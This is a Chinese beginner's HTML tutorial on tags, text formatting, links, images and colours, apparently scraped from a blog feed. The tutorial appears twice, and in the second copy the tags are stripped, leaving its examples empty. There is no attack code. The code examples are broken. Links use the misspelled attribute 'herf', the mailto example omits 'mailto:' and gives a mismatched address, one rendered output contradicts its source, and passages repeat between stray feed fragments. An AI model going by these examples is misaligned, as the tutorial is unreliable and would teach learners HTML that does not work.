　　当你想把网页制作成某种模样时，需要使用一种编码向网络浏览器来进行解释，这种编码就被称为HTML代码。 

　　一个HTML文件是一页文字信息，就象一封电子邮件或一个word字处理文档，而且实际上你完全可以使用Word字处理软件来编写一个HTML网页。你也可以通过其它字处理软件编写文本文件，网络浏览器只能处理文本信息。

　　一个HTML文件中包含了所有将显示在网页上的文字信息，其中也包括对浏览器的一些指示，如哪些文字应放置在何处，显示模式是什么样的等。如果你还有一些图片、动画、声音或是任何其它形式的资源，HTML文件也会告诉浏览器到哪里去查找这些资源，以及这些资源将放置在网页的什么位置。HTML文件通过标志符(tag)来实现这一功能。


第二节：标志符在哪里？

　　标志符是一些字母或单词，并被放在尖括号内，例如。HTML文件可支持很多种标志符，而我们常讲的学习HTML语言实际上就是学习这些各种各样的标志符。 
　　每种标志符的作用均不同，例如，如果有的控制将文字放大，有的控制将文字居中显示，有的则负责与其它信息进行链接。当你需要对某处进行修改时，就把标志符放置在该处前面，这时浏览器就会知道你希望下面的内容应如何显示了。 
　　例如，你想把&quot;订书机&quot;这三个字用粗体显示，从而在网页中突出这三个字，因为既然你的网页是关于订书机的知识，自然订书机是网页中最重要的词汇。这时你就需要告诉浏览器你想将&quot;订书机&quot;三个字用粗体显示，方法是使用粗体标志符：
　　&lt;b&gt;
　　&quot;B&quot;是英文&quot;bold&quot;的首字母，意即&quot;粗体&quot;，实际上很多标志符都是使用的英文缩写，这也能够方便使用者记住它们。当你使用&lt;b&gt;这个标志符后，就会告诉浏览器说：&quot;我希望在此之后的所有内容均以粗体显示。&quot;而浏览器自然会按照你的指令将这个标志符后所有的内容均以粗体显示。



第三节：结尾标志符

　　当你使用了标志符时会出现一个问题，即在此之后的所有内容都会根据此标志符的要求改变显示模式，也就是说浏览器不知道何时何处停止这种变化，而实际上你可能只是希望一页中某个部分的内容改变显示。为了防止这种情况的发生，你就需要告诉浏览器在何处终止这种变化，这时你就可以使用结尾标志符。结尾标志符和普通的标志符（有时称为起始标志符）非常相似，只是在字母之前有一个斜线，例如粗体显示的结尾标志符就是下面这个样子： 
　　&lt;/b&gt;
　　这个结尾标志符的作用就是告诉浏览器在此之后就不要再用粗体显示了。因此如果你希望将&quot;订书机&quot;这三个字用粗体显示，就应该将一个粗体起始标志符放置在&quot;订书机&quot;三个字前面，而将一个粗体结尾标志符放置在这三个字后面：
　　这个结尾标志符的作用就是告诉浏览器在此之后就不要再用粗体显示了。因此如果你希望将&quot;订书机&quot;这三个字用粗体显示，就应该将一个粗体起始标志符放置在&quot;订书机&quot;三个字前面，而将一个粗体结尾标志符放置在这三个字后面：
　　&lt;b&gt;staplers&lt;/b&gt;



第四节：使用标志符

　　你可以把标志符放置在网页中的任意部位，浏览器不会把这些标志符也显示出来，而只是读取它们的信息，并按照标志符的要求对其下面的内容进行特殊显示。例如你写好了一篇关于订书机的文章，希望使一些文字用粗体显示，那么你可以这样做： 
世界上没有比
我漂亮的&lt;b&gt;订书机&lt;/b&gt;
更让我喜爱的东西了 
我从杂货店买到了它 
但任何优美的语言
都无法描述&lt;b&gt;订书机&lt;/b&gt;的优点 
　　当网络浏览器看到上面这段编码后，就会以下面的样式显示这段文字：
世界上没有比
我漂亮的订书机
更让我喜爱的东西了 
我从杂货店买到了它 
但任何优美的语言
都无法描述订书机的优点
　　这就是一段HTML代码，而如果你能够理解本节所讲的起始标志符和结尾标志符的含义，那么你就能够学会其它一些标志符所代表的意义。也许读过本文后，你就能够成为一名网页设计师了。


第五节：开始编写网页

　　好了，下面让我们把前面介绍的一些知识投入到正式的工作应用中。你在编写一个HTML文件时需要使用一个文字编辑器，如果你使用的是Macintosh系统，你的文字编辑器可能叫做SimpleText，这个软件完全能够满足我们当前的要求。而如果你使用的是windows系统，你的文字编辑器应该叫做Notepad。请将任何一种文字编辑器打开，并建立一个新的空白文件，然后向其中输入一些HTML代码。 
　　所有的HTML文件都必须以相同的标志符起始和结束，例如当你使用&lt;b&gt;标志符来告诉浏览器将后面的内容以粗体显示之前，你还需要使用一些标志符来告诉浏览器它下面即将读取的是一份HTML文件，因此一般情况下HTML网页的第一个标志符应该是&lt;html&gt;，而与之对应，在该页的结尾处，你应该用&lt;/html&gt;做为全文的结束。
　　&lt;html&gt;标志符内是&lt;body&gt;标志符,标志符是告诉浏览器这里面的内容是网页的实际内容。对于一个最简单的网页来说，&lt;html&gt;和&lt;body&gt; 这两个标志符是你唯一必须使用的标志符。虽然你可以使用更多的标志符使你的网页功能更丰富，但在目前我们完全可以只利用这两个标志符。也就是说，只要你在&lt;body&gt;标志符内输入一些文字信息，你就制作出了一个最简单的网页。



第六节：制作第一个网页

　　请将下列内容输入至你的文本编辑器中(如SimpleText, Notepad，或任何一种编辑器)： 
&lt;html&gt;
&lt;body&gt;
　　这是我制作的关于订书机的网页，我觉得我的网页很不错，我想我已经是一位HTML主页制作大师了，所有人都应该崇拜我!
&lt;/body&gt;
&lt;/html&gt;
　　好了，保存这页文件，给它随便起一个名字，但别忘了在文件名后一定要加上.html这个扩展名，这样网络浏览器才能够识别出这个文件，正确读取它。在这里我们把该页命名为&quot;订书机.html&quot;。
　　这样你就制作出了自己第一个网页，你现在应该感到很高兴吧。虽然你现在只学习了网页制作非常少的知识，但至少你已经能够制作网页了。那么接下来让我们看一看你制作的网页到底是什么样子。



第七节：修改第一个网页

　　打开你的浏览器(如Netscape Navigator, Internet Explorer或任何其它的浏览器)，从中打开你编辑的网页文件，方法是打开&quot;File&quot;(文件)菜单，根据不同的浏览器请选择&quot;Open Page&quot;(打开网页)或&quot;Open File&quot;(打开文件)，寻找到你的&quot;订书机.html&quot;文件并选中，这样浏览器就会打开这个文件了。文件打开后，该页应该在左上角有几行文字，其余是一片空白。 
　　如果不是这样的话，那么你可能忘记输入某个标志符或丢掉了斜线或是尖括号或是其它什么重要信息。这种情况经常会发生，即使那些网页制作大师们有时也会犯一些简单的错误，因为忘掉一个符号太容易发生了。当你发现自己的网页存在问题时，下面就需要进行修改。
　　浏览器自己可不知道在哪添加个标志符使网页正确显示出来。如果你希望象我们前面讲到的把&quot;订书机&quot;这三个字变为粗体，就需要返回文本编辑器中添加&lt;b&gt;标志符并重新保存该文件。这时你在浏览器中点击刷新按钮后就会显示出正确的文字了。这个刷新的操作告诉浏览器重新寻找同一个文件(本例中即&quot;订书机.html&quot;文件)并重新显示，这时你就会发现&quot;订书机&quot;三个字已经用粗体显示了。
　　上面就是人们编辑网页所采用的基本方法，他们创建一个基础的HTML文档，然后不断向里面添加新信息，从而使一个网页变得更加丰富起来，最后他们会在浏览器中检查自己编辑的网页显示是否正确。

第二部分   处理文本


第一节：段落

　　&lt;P&gt;开始一个新段落 
　　段落标志符是HTML标志符中最常见的一种符号，它位于各段落起始部位，使用该标志符后，每块文本段落之间都会空出一行。另外对于&lt;P&gt;标志符来说，不必使用&lt;/P&gt;来做结尾。
　　下面是由两段文本文件组成的HTML网页，源代码如下：
　　&lt;P&gt;你是否曾经考虑过这样一种情况，那就是如果学校中所有学生在某一天都不去上学，那么学校就拿大家没办法了。
　　&lt;P&gt;我的意思是说，如果&lt;i&gt;所有人&lt;/i&gt;都呆在家里，校方就无法专门严厉地惩罚某一个学生，实际上也许学校要花费整整一天的时间给每位学生的家长打电话通报这件事。
　　根据这段代码，你的网页将会显示为下面这个样子：
　　你是否曾经考虑过这样一种情况，那就是如果学校中所有学生在某一天都不去上学，那么学校就拿大家没办法了。
　　我的意思是说，如果所有人都呆在家里，校方就无法专门严厉地惩罚某一个学生，实际上也许学校要花费整整一天的时间给每位学生的家长打电话通报这件事。



第二节：排列文本

　　&lt;p align=left&gt; 将文字居左 
　　&lt;p align=right&gt; 将文字居右
　　&lt;p align=center&gt; 将文字居中
　　你是否还记得上一节我会讲到的&lt;p&gt;标志符？有一件事我忘记告诉你了，那就是&lt;p&gt;标志符不但可以使文本空出一行，还可以在该标志符后面增加一些信息，从而让其后面的文字信息的位置有所变化。因此如果你把下列信息写入HTML文件中：
　　&lt;p align=left&gt; 我喜欢看蜘蛛织网，蜘蛛织出的网太漂亮了!
　　&lt;p align=center&gt; 但从另外一个角度来说，如果我看到家中的地板上有一只蜘蛛，我又会把它踩死。
　　&lt;p align=right&gt;但有时我也会很担心，不知这样踩死蜘蛛是否会遭到报应，因为它们并没有招惹你。
　　这个网页在浏览器中就会显示成下面这个样子：
　　我喜欢看蜘蛛织网，蜘蛛织出的网太漂亮了!
　　但从另外一个角度来说，如果我看到家中的地板上有一只蜘蛛，我又会把它踩死。
　　但有时我也会很担心，不知这样踩死蜘蛛是否会遭到报应，因为它们并没有招惹你。


第三节：字体加粗

　　&lt;b&gt;创建粗体文字 
　　&lt;/b&gt;结束粗体文字显示
　　请将这段文字放置在&lt;b&gt;和&lt;/b&gt;两个标志符内。
　　例如你如果想显示下面这段话：
　　&lt;b&gt;救命呀!&lt;/b&gt;有一只&lt;b&gt;网猴&lt;/b&gt;在我家里! 
　　这时这段话的实际显示效果是下面这个样子：
　　救命呀!有一只网猴在我家里! 



第四节：斜体文字

　　&lt;i&gt;创建斜体字 
　　&lt;/i&gt;结束斜体字
　　为了将一段文字以斜体形式出现，请将这段文字放置在&lt;i&gt;和&lt;/i&gt;两个标志符内。
　　例如，你如果想显示下面这段话：
　　&lt;b&gt;救命呀&lt;/b&gt;有一只&lt;b&gt;网猴&lt;/b&gt;在我家里，我&lt;i&gt;真的&lt;/i&gt;喜欢它!
　　这时这段话的实际显示效果是下面这个样子：
　　救命呀!有一只网猴在我家里，我真的不喜欢它!



第五节：分行

　　&lt;br&gt;插入新分行 
　　大多数情况下，段落标志符&lt;p&gt;是分隔文本的最佳符号，但有时你可能会希望重起一行，但在新行与上一行之间并不空出一行间距，在这种情况下，你最好使用分行标志符&lt;br&gt;。
　　使用分行标志符编写的一段话是下面这个样子：
　　&lt;p&gt;我非常喜欢互联网&lt;br&gt;
　　在这里我可以足足冲浪一天也不觉得累!&lt;br&gt;
　　幸好我的老板还没有抓到我,&lt;br&gt;
　　但如果真被他抓到，恐怕我的工资就要泡汤了! &lt;br&gt;
　　这时网页显示成下面这个样子：
　　我非常喜欢互联网。
　　在这里我可以足足冲浪一天也不觉得累!
　　幸好我的老板还没有抓到我,
　　但如果真被他抓到，恐怕我的工资就要泡汤了!



第六节：注释文本

　　&lt;！-- --&gt; 
　　注释标志符在HTML文档中留出一些空间，这里面的文字信息不会显示在网页上，这是因为凡是在注释标志符内的文字都是隐性的，你可以利用这个空间做为备忘录。但有一点要注意，那就是如果别人查看你的源代码，那么你的这些注释信息就会一览无余了。所以如果你想把自己一些最保密的事保存在这里，恐怕要换个地方了。
　　注释标志符的格式如下：
　　把下面这段文字做为注释
　　&lt;！--把下面这段文字做为注释--&gt;
　　我很想把这段HTML编码用网页显示给你，但既然它是隐藏的，因此谁也看不到它了。




第七节：链接

　　&lt;a herf=&quot;?&quot;&gt;创建链接 
　　&lt;/a&gt;结束链接
　　如果一个网页没有一个链接那确实就没什么意义了，因为正是方便的各种链接才将各个独立的网页构建成一个庞大的网络，你就可以利用链接标志符来创建链接，让你的网页与其它网站相连。
　　在你创建链接之前，你需要清楚想要链接的网页的URL地址，这个URL地址就是类似&quot;http://www.qisikai.cn&quot;这样的网络地址。
　　接着你要决定把网页中哪段文字做为链接，访问者将通过这个链接访问其它地方。另外，一般情况下，凡是链接的地方都会有下划线，并显示出与普通网页文字不同的颜色加以区分(多数默认情况下链接显示为蓝色，除非你对此进行了特殊的设置。)
　　为了创建一个链接，你需要选择一段文字，并将其置于标志符&lt;a herf=&quot;?&quot;&gt;和&lt;/a&gt;之间，并把&quot;?&quot;替换为正确的链接地址。
　　例如一个网页链接的源代码可能是下面这个样子：
　　&lt;a herf=&quot;http://qisikai.cn/&quot;&gt;欢迎访问qisikai.cn网站&lt;/a&gt;!
　　而在浏览器中的显示效果为：
　　欢迎访问qisikai.cn网站!

    发送邮件

　　&lt;a herf=&quot;mailto:?&quot;&gt;创建链接 
　　&lt;/a&gt;结束发送邮件
　　并不是网页中所有的链接都会带你前往一个新的网页，有时这种链接可能会让你发送一封电子邮件，这就是发送邮件链接标志符，在网页中建立发送邮件的功能与创建一个普通的链接一样，都非常简单。
　　你还记得上一节我们讲到的如何在标志符&lt;a herf=&quot;?&quot;&gt;和&lt;/a&gt;之间创建链接吗？一个发送邮件链接与此是非常相似的，只是你需要把&quot;?&quot;替换为&quot;mailto:&quot;，然后在后面插入一个电子邮件地址，而不是什么网页URL链接地址。
　　例如，如果你想给下面这个地址15765546701qq.com发送电子邮件，那么你的网页HTML代码就应该按下面的格式编写：
　　&lt;a herf=&quot;1576554670@qq.com&quot;&gt;给我发邮件!&lt;/a〉
　　这时用浏览器观察网页的实际效果是这样的：
　　给我发邮件!

第三部分   处理图片
第一节   入门



　　&lt;img src=&quot;?&quot;&gt;放置一幅图片 
　　&lt;img align=&quot;?&quot;&gt;排列一幅图片
　　在你将一幅图片放置在网页中之前，你需要知道该文件的名称以及文件存储在服务器上的哪个目录下，这样你就可以告诉浏览器到哪里去查找该幅图片了。
　　储存图片的最方便的方法是将图片保存在与HTML网页文件同一个目录中，这样浏览器就可以自动寻找到图片。
　　假设我们有一幅名为monkey.gif的图片，而该图片保存于&quot;stuff&quot;这个子目录中，并与你制作的HTML文档处于同一目录下，这时你应该输入下列代码：
　　&lt;img src=&quot;monkey.gif&quot;&gt; 
　　这样你在浏览器中就可以看到一幅图片。



第二节：排列图片

　　使用排列图片标志符，我可以选择将图片放置在何处，例如，如果我想把图片居右，相应的代码是： 
　　&lt;img align=right src=&quot;monkey.gif&quot;&gt;
　　这样这幅图片就会神奇般地显示在网页的右侧，就象下面这个样子：
　　将图片放置在网页的正中则略显复杂，因为&lt;img align=center&gt;标志符并不能在所有浏览器中产生正确的效果，因此如果你想将图片居中，首先需要把该段内容全部居中，方法是使用&lt;p align=center&gt;标志符，然后再添加图片连接。
　　因此想把这只可爱的小猴放置在网页中间，你需要这样编写代码：
　　&lt;p align=center&gt;&lt;img src=&quot;monkey.gif&quot;&gt;
　　这样图片就会永远位于网页中央了

第三节：图片边界

　　&lt;img border=#&gt;设置图片的边界大小 
　　对图片的边界大小控制也就是控制一个网页中图片的边缘显示有多宽，一般图片的边界只有当你把它做为一个链接时才会显示出来。不过你可以利用&lt;img border=#&gt;这个标志符来任意设置图片的边界，只需把&quot;#&quot;中的内容替换为从0至99的数字即可。
　　另外，一般最常用的是你可以把图片边界的宽度设为0，即&lt;img border=0&gt;这样图片就不会显示边界了。

　　例如，如果你想为网猴图片设置一个边界，可以这样做：
　　&lt;img border=5 src=&quot;/webmonkey/kids/lessons/stuff/monkey.gif&quot;&gt;

第四节：图文混排

　　&lt;img align=left&gt;将图片放置在网页左侧 
　　&lt;img align=middle&gt;将图片放置在网页中间
　　&lt;img align=right&gt;将图片放置在网页右侧
　　虽然网页中提供各种图片可以使网页显得更加漂亮，但有时你也需要在图片旁边添加一些文字说明。图文混排一般有几种方法，通过&lt;img align&gt;标志符来实现。对于初学者而言，你可以将图片放置在网页的左侧或右侧，然后将文字内容放置在图片旁边。
　　下面是一个图文混排的例子：&lt;p&gt;&lt;img align=right src=&quot;/webmonkey/kids/lessons/stuff/monkey.gif&quot;&gt;这是一只小猴子，它是不是显得很高兴，而且洋洋自得？他想拿这个扳手做什么呢？
　　文字信息会与图片并排从右侧开始

第五节：更多范例

　　也许有时你希望文字内容从图片上方开始，并包围整幅图片，这时你可以在HTML网页中编写下列代码： 
　　&lt;P&gt;这是一只小猴子，它是不是显得很高兴，&lt;img align=left src=&quot;/webmonkey/kids/lessons/stuff/monkey.gif&quot;&gt;而且洋洋自得？他想拿这个扳手做什么呢？
　　这样，图片就会在网页左侧

 
第四部分：修改网页

第一节：背景颜色

　　&lt;body bgcolor=&quot;?&quot;&gt;既然世界上有各种各样漂亮的颜色，那么为什么还把你的网页搞得只是枯燥的白色呢？你可以在〈body&gt;标志符内对网页背景颜色进行设置，该标志符在全页的顶端。例如，如果你在网页中输入下列编码： 
　　&lt;body bgcolor=yellow&gt;那么你的网页就会显示为黄色。
　　当然，并不是现在人们知道的所有关于颜色的名称都能够在电脑中存在一个对应的颜色


第二节：背景图片

　　&lt;body background=&quot;imagename.gif&quot;&gt;设置背景图片 
　　这个标志符可以让你在网页的背景粘贴一幅图片，如果这幅图片较大，那么也许它只会在浏览器窗口中显示一次(根据浏览器窗口的实际大小)，而如果图片较小，那么浏览器窗口内就会显示如多幅该图片，以便填充整个窗口，这被称为&quot;层叠&quot;。下面是一个在Hits.org网站中图片层叠的范例，请注意背景中真正图片只有一朵小花，但实际观察的效果则是鲜花铺满了网页。不要光看到这个网页非常漂亮，如果把握不好，使用层叠效果时经常会把网页搞得很乱很难看。
　　如果你把下列代码写入HTML文档中：
　　&lt;body background=&quot;imagename.gif&quot;&gt;
　　那么小猴的图片就会层叠重复显示，真到布满你浏览器的整个窗口。


第三节：字体颜色

　　&lt;body text=?&gt;设置字体颜色 
　　&lt;body link=&quot;?&quot;&gt;设置链接颜色
　　&lt;body vlink=&quot;?&quot;&gt;设置你已经访问过的链接的颜色
　　&lt;body alink=&quot;?&quot;&gt;设置你正点击的链接的颜色
　　&lt;font color=&quot;?&quot;&gt;更改字体颜色
　　&lt;/font&gt;重新恢复原字体颜色(在&lt;ont color=&quot;?&quot;&gt;标志符之前的文字颜色)
　　字体指的是在网页中可以使用的文字的样式，在计算机系统中，你可能曾经遇到过象&quot;Helvetica&quot;和&quot;Times New Roman&quot;这样的字体名称。
　　为了给网页中的文字染出颜色，就要将字体颜色的信息放在&lt;body&gt;标志符内，例如当你输入下列代码后：
　　&lt;body text=lime link=red vlink=black alink=violet&gt;
　　你的网页因为颜色的问题会让人读起来很不舒服，但我不得不说这是一个五颜六色的网页，文字是绿色的，链接是红色的，而且当你点击链接时还会变为黑色，点击之后又会变为紫色。 
　　如果你只想把一段文字中的某个字改变颜色，则可以使用&lt;font&gt; 标志符，例如你输入下列代码：
　　&lt;font color=green&gt;绿色&lt;font&gt;多么让人羡慕呀!
　　那么显示出来的效果就是：
　　绿色多么让人羡慕呀! 
　　虽然并不是所有的颜色名称均有效，但大多数情况下是可以的.


第五节：标题大小

　　&lt;h1&gt; 使用大标题 
　　&lt;/h1&gt; 结束大标题
　　&lt;h3&gt; 使用中标题
　　&lt;/h3&gt; 结束中标题
　　&lt;h6&gt; 使用小标题
　　&lt;/h6&gt; 结束小标题
　　你知道如何使网页的标题比其它文字更大些以便突出这段标题吗？使用标题标志符就可以帮助你实现这一点，你可以采用大标题、中标题或小标题，使用大标题可以用&lt;h1&gt;标志符开始，结束时用&lt;/h1&gt;志符。
　　
　　&lt;h1&gt;号外!外星人来了，大家快逃吧!&lt;/h1&gt;
　
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影教程】html基础【邪影】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/373452]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Thu, 29 Oct 2015 08:13:08 +0800]]></pubDate>
        <description><![CDATA[[Title]Html基础教程[EndTitle]
[Content]


html基础教程代码版 http://xieying.wodemo.com/entry/373454
 
注意:以下的符号都是英文符号

第一部分    入门
第一节：介绍

　　当你想把网页制作成某种模样时，需要使用一种编码向网络浏览器来进行解释，这种编码就被称为HTML代码。 

　　一个HTML文件是一页文字信息，就象一封电子邮件或一个word字处理文档，而且实际上你完全可以使用Word字处理软件来编写一个HTML网页。你也可以通过其它字处理软件编写文本文件，网络浏览器只能处理文本信息。

　　一个HTML文件中包含了所有将显示在网页上的文字信息，其中也包括对浏览器的一些指示，如哪些文字应放置在何处，显示模式是什么样的等。如果你还有一些图片、动画、声音或是任何其它形式的资源，HTML文件也会告诉浏览器到哪里去查找这些资源，以及这些资源将放置在网页的什么位置。HTML文件通过标志符(tag)来实现这一功能。


第二节：标志符在哪里？

　　标志符是一些字母或单词，并被放在尖括号内，例如。HTML文件可支持很多种标志符，而我们常讲的学习HTML语言实际上就是学习这些各种各样的标志符。 
　　每种标志符的作用均不同，例如，如果有的控制将文字放大，有的控制将文字居中显示，有的则负责与其它信息进行链接。当你需要对某处进行修改时，就把标志符放置在该处前面，这时浏览器就会知道你希望下面的内容应如何显示了。 
　　例如，你想把"订书机"这三个字用粗体显示，从而在网页中突出这三个字，因为既然你的网页是关于订书机的知识，自然订书机是网页中最重要的词汇。这时你就需要告诉浏览器你想将"订书机"三个字用粗体显示，方法是使用粗体标志符：
　　
　　"B"是英文"bold"的首字母，意即"粗体"，实际上很多标志符都是使用的英文缩写，这也能够方便使用者记住它们。当你使用这个标志符后，就会告诉浏览器说："我希望在此之后的所有内容均以粗体显示。"而浏览器自然会按照你的指令将这个标志符后所有的内容均以粗体显示。



第三节：结尾标志符

　　当你使用了标志符时会出现一个问题，即在此之后的所有内容都会根据此标志符的要求改变显示模式，也就是说浏览器不知道何时何处停止这种变化，而实际上你可能只是希望一页中某个部分的内容改变显示。为了防止这种情况的发生，你就需要告诉浏览器在何处终止这种变化，这时你就可以使用结尾标志符。结尾标志符和普通的标志符（有时称为起始标志符）非常相似，只是在字母之前有一个斜线，例如粗体显示的结尾标志符就是下面这个样子： 
　　
　　这个结尾标志符的作用就是告诉浏览器在此之后就不要再用粗体显示了。因此如果你希望将"订书机"这三个字用粗体显示，就应该将一个粗体起始标志符放置在"订书机"三个字前面，而将一个粗体结尾标志符放置在这三个字后面：
　　这个结尾标志符的作用就是告诉浏览器在此之后就不要再用粗体显示了。因此如果你希望将"订书机"这三个字用粗体显示，就应该将一个粗体起始标志符放置在"订书机"三个字前面，而将一个粗体结尾标志符放置在这三个字后面：
　　staplers



第四节：使用标志符

　　你可以把标志符放置在网页中的任意部位，浏览器不会把这些标志符也显示出来，而只是读取它们的信息，并按照标志符的要求对其下面的内容进行特殊显示。例如你写好了一篇关于订书机的文章，希望使一些文字用粗体显示，那么你可以这样做： 
世界上没有比
我漂亮的订书机
更让我喜爱的东西了 
我从杂货店买到了它 
但任何优美的语言
都无法描述订书机的优点 
　　当网络浏览器看到上面这段编码后，就会以下面的样式显示这段文字：
世界上没有比
我漂亮的订书机
更让我喜爱的东西了 
我从杂货店买到了它 
但任何优美的语言
都无法描述订书机的优点
　　这就是一段HTML代码，而如果你能够理解本节所讲的起始标志符和结尾标志符的含义，那么你就能够学会其它一些标志符所代表的意义。也许读过本文后，你就能够成为一名网页设计师了。


第五节：开始编写网页

　　好了，下面让我们把前面介绍的一些知识投入到正式的工作应用中。你在编写一个HTML文件时需要使用一个文字编辑器，如果你使用的是Macintosh系统，你的文字编辑器可能叫做SimpleText，这个软件完全能够满足我们当前的要求。而如果你使用的是windows系统，你的文字编辑器应该叫做Notepad。请将任何一种文字编辑器打开，并建立一个新的空白文件，然后向其中输入一些HTML代码。 
　　所有的HTML文件都必须以相同的标志符起始和结束，例如当你使用标志符来告诉浏览器将后面的内容以粗体显示之前，你还需要使用一些标志符来告诉浏览器它下面即将读取的是一份HTML文件，因此一般情况下HTML网页的第一个标志符应该是，而与之对应，在该页的结尾处，你应该用做为全文的结束。
　　标志符内是标志符,标志符是告诉浏览器这里面的内容是网页的实际内容。对于一个最简单的网页来说，和 这两个标志符是你唯一必须使用的标志符。虽然你可以使用更多的标志符使你的网页功能更丰富，但在目前我们完全可以只利用这两个标志符。也就是说，只要你在标志符内输入一些文字信息，你就制作出了一个最简单的网页。



第六节：制作第一个网页

　　请将下列内容输入至你的文本编辑器中(如SimpleText, Notepad，或任何一种编辑器)： 


　　这是我制作的关于订书机的网页，我觉得我的网页很不错，我想我已经是一位HTML主页制作大师了，所有人都应该崇拜我!


　　好了，保存这页文件，给它随便起一个名字，但别忘了在文件名后一定要加上.html这个扩展名，这样网络浏览器才能够识别出这个文件，正确读取它。在这里我们把该页命名为"订书机.html"。
　　这样你就制作出了自己第一个网页，你现在应该感到很高兴吧。虽然你现在只学习了网页制作非常少的知识，但至少你已经能够制作网页了。那么接下来让我们看一看你制作的网页到底是什么样子。



第七节：修改第一个网页

　　打开你的浏览器(如Netscape Navigator, Internet Explorer或任何其它的浏览器)，从中打开你编辑的网页文件，方法是打开"File"(文件)菜单，根据不同的浏览器请选择"Open Page"(打开网页)或"Open File"(打开文件)，寻找到你的"订书机.html"文件并选中，这样浏览器就会打开这个文件了。文件打开后，该页应该在左上角有几行文字，其余是一片空白。 
　　如果不是这样的话，那么你可能忘记输入某个标志符或丢掉了斜线或是尖括号或是其它什么重要信息。这种情况经常会发生，即使那些网页制作大师们有时也会犯一些简单的错误，因为忘掉一个符号太容易发生了。当你发现自己的网页存在问题时，下面就需要进行修改。
　　浏览器自己可不知道在哪添加个标志符使网页正确显示出来。如果你希望象我们前面讲到的把"订书机"这三个字变为粗体，就需要返回文本编辑器中添加标志符并重新保存该文件。这时你在浏览器中点击刷新按钮后就会显示出正确的文字了。这个刷新的操作告诉浏览器重新寻找同一个文件(本例中即"订书机.html"文件)并重新显示，这时你就会发现"订书机"三个字已经用粗体显示了。
　　上面就是人们编辑网页所采用的基本方法，他们创建一个基础的HTML文档，然后不断向里面添加新信息，从而使一个网页变得更加丰富起来，最后他们会在浏览器中检查自己编辑的网页显示是否正确。

第二部分   处理文本


第一节：段落

　　开始一个新段落 
　　段落标志符是HTML标志符中最常见的一种符号，它位于各段落起始部位，使用该标志符后，每块文本段落之间都会空出一行。另外对于标志符来说，不必使用来做结尾。
　　下面是由两段文本文件组成的HTML网页，源代码如下：
　　你是否曾经考虑过这样一种情况，那就是如果学校中所有学生在某一天都不去上学，那么学校就拿大家没办法了。
　　我的意思是说，如果所有人都呆在家里，校方就无法专门严厉地惩罚某一个学生，实际上也许学校要花费整整一天的时间给每位学生的家长打电话通报这件事。
　　根据这段代码，你的网页将会显示为下面这个样子：
　　你是否曾经考虑过这样一种情况，那就是如果学校中所有学生在某一天都不去上学，那么学校就拿大家没办法了。
　　我的意思是说，如果所有人都呆在家里，校方就无法专门严厉地惩罚某一个学生，实际上也许学校要花费整整一天的时间给每位学生的家长打电话通报这件事。



第二节：排列文本

　　 将文字居左 
　　 将文字居右
　　 将文字居中
　　你是否还记得上一节我会讲到的标志符？有一件事我忘记告诉你了，那就是标志符不但可以使文本空出一行，还可以在该标志符后面增加一些信息，从而让其后面的文字信息的位置有所变化。因此如果你把下列信息写入HTML文件中：
　　 我喜欢看蜘蛛织网，蜘蛛织出的网太漂亮了!
　　 但从另外一个角度来说，如果我看到家中的地板上有一只蜘蛛，我又会把它踩死。
　　但有时我也会很担心，不知这样踩死蜘蛛是否会遭到报应，因为它们并没有招惹你。
　　这个网页在浏览器中就会显示成下面这个样子：
　　我喜欢看蜘蛛织网，蜘蛛织出的网太漂亮了!
　　但从另外一个角度来说，如果我看到家中的地板上有一只蜘蛛，我又会把它踩死。
　　但有时我也会很担心，不知这样踩死蜘蛛是否会遭到报应，因为它们并没有招惹你。


第三节：字体加粗

　　创建粗体文字 
　　结束粗体文字显示
　　请将这段文字放置在和两个标志符内。
　　例如你如果想显示下面这段话：
　　救命呀!有一只网猴在我家里! 
　　这时这段话的实际显示效果是下面这个样子：
　　救命呀!有一只网猴在我家里! 



第四节：斜体文字

　　创建斜体字 
　　结束斜体字
　　为了将一段文字以斜体形式出现，请将这段文字放置在和两个标志符内。
　　例如，你如果想显示下面这段话：
　　救命呀有一只网猴在我家里，我真的喜欢它!
　　这时这段话的实际显示效果是下面这个样子：
　　救命呀!有一只网猴在我家里，我真的不喜欢它!



第五节：分行

　　插入新分行 
　　大多数情况下，段落标志符是分隔文本的最佳符号，但有时你可能会希望重起一行，但在新行与上一行之间并不空出一行间距，在这种情况下，你最好使用分行标志符。
　　使用分行标志符编写的一段话是下面这个样子：
　　我非常喜欢互联网
　　在这里我可以足足冲浪一天也不觉得累!
　　幸好我的老板还没有抓到我,
　　但如果真被他抓到，恐怕我的工资就要泡汤了! 
　　这时网页显示成下面这个样子：
　　我非常喜欢互联网。
　　在这里我可以足足冲浪一天也不觉得累!
　　幸好我的老板还没有抓到我,
　　但如果真被他抓到，恐怕我的工资就要泡汤了!



第六节：注释文本

　　 
　　注释标志符在HTML文档中留出一些空间，这里面的文字信息不会显示在网页上，这是因为凡是在注释标志符内的文字都是隐性的，你可以利用这个空间做为备忘录。但有一点要注意，那就是如果别人查看你的源代码，那么你的这些注释信息就会一览无余了。所以如果你想把自己一些最保密的事保存在这里，恐怕要换个地方了。
　　注释标志符的格式如下：
　　把下面这段文字做为注释
　　
　　我很想把这段HTML编码用网页显示给你，但既然它是隐藏的，因此谁也看不到它了。




第七节：链接

　　创建链接 
　　结束链接
　　如果一个网页没有一个链接那确实就没什么意义了，因为正是方便的各种链接才将各个独立的网页构建成一个庞大的网络，你就可以利用链接标志符来创建链接，让你的网页与其它网站相连。
　　在你创建链接之前，你需要清楚想要链接的网页的URL地址，这个URL地址就是类似"http://www.qisikai.cn"这样的网络地址。
　　接着你要决定把网页中哪段文字做为链接，访问者将通过这个链接访问其它地方。另外，一般情况下，凡是链接的地方都会有下划线，并显示出与普通网页文字不同的颜色加以区分(多数默认情况下链接显示为蓝色，除非你对此进行了特殊的设置。)
　　为了创建一个链接，你需要选择一段文字，并将其置于标志符和之间，并把"?"替换为正确的链接地址。
　　例如一个网页链接的源代码可能是下面这个样子：
　　欢迎访问qisikai.cn网站!
　　而在浏览器中的显示效果为：
　　欢迎访问qisikai.cn网站!

    发送邮件

　　创建链接 
　　结束发送邮件
　　并不是网页中所有的链接都会带你前往一个新的网页，有时这种链接可能会让你发送一封电子邮件，这就是发送邮件链接标志符，在网页中建立发送邮件的功能与创建一个普通的链接一样，都非常简单。
